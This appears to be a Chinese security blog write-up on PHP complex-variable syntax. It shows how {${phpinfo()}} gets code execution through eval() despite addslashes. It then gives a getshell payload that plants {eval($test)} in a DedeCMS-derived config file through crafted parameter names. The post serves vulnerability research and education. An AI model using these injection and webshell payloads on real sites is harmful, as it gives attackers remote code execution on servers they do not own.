前言:之前二开的dede bc审出了一个前台注入,幸运是白名单IP绕过,然后接着就是来到了后台getshell了
参考文章:http://php.net/manual/zh/language.types.string.php
示例题
<?php
highlight_file(__FILE__);
$str = $_GET['str'];
eval('$a="' . $str . '";');
?>
如果想实现代码执行就需要进行闭合,如:";phpinfo();//
此时var_dump
的$a变量是为空的,如下:
继续看:
<?php
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
eval('$a="' . $str . '";');
?>
这种上面的payload就不行了,因为addslashes的原因导致了无法闭合,那么直接试试phpinfo()
呢? 发现一片空白,那么也就是没有成功的执行命令,那么打印下$a,可以发现phpinfo()
并没有跟上面一样被解析
那么这时候需要用到PHP的复杂变量了!
利用${}
:
payload:{${phpinfo()}}
,发现如下成功解析
此时打印$a,发现是为空的,那么也就是phpinfo
成功进行解析了
1、当 PHP 解析器遇到一个美元符号($)时,它会和其它很多解析器一样,去组合尽量多的标识以形成一个合法的变量名。可以用花括号来明确变量名的界线
这句话应该很好理解,先说单引号中的字符串是死的,而双引号中的字符串是活的,比如"$a"
,这时候如果出现$符号,PHP解析器就会去寻找对应的$a变量是否存在并且覆盖,同样也可以是{$a}
,为什么需要用这个?比如{$a}a
,这时候{}
的作用就出来了,可以理解为它会提醒PHP解析我只解析$a,而不是$aa,它起到一个分界的作用!
2、任何具有 string 表达的标量变量,数组单元或对象属性都可使用此语法。只需简单地像在 string 以外的地方那样写出表达式,然后用花括号 { 和 } 把它括起来即可。由于 { 无法被转义,只有 $ 紧挨着 { 时才会被识别
这里的$符号就是硬性要求了,如果你想要使用复杂变量就得用$符号!
小知识点:可以用 {\$
来表达 {$
回到上面,为啥输入${phpinfo()}
不行,而输入{${phpinfo()}}
,才可以呢?或许就是下面这种情况吧!
实战
快速Getshell的方式就是直接写配置文件了,正常来说gpc开启,数组格式下的写配置文件基本无解,但是自己这次确实是挺幸运的,配置文件的格式是 $变量 = ''
这种形式的!
自己所处的审计环境,目标配置文件的格式为下面两个点:
1、$变量 = ''
2、主键为变量,值为变量值
比如如下:
edit___a=1&edit___b=1&edit___c=1&edit___d=1&edit___e=1&edit___f=1
则生成的配置文件为:
<?php
$a = '1';
$b = '1';
$c = '1';
$d = '1';
$e = '1';
$f = '1';
?>
这里直接利用PHP的复杂变量来进行getshell:
payload:edit___{eval($test)}=1&edit___b=1&edit___c=1&edit___d=1&edit___e=1&edit___f=1
自己解决的办法是直接通过dede本身的变量注册的机制来进行绕过的!
好了,该睡觉了,明天又是实习的一天,不过这种日子也快结束了,滚蛋回家睡觉咯!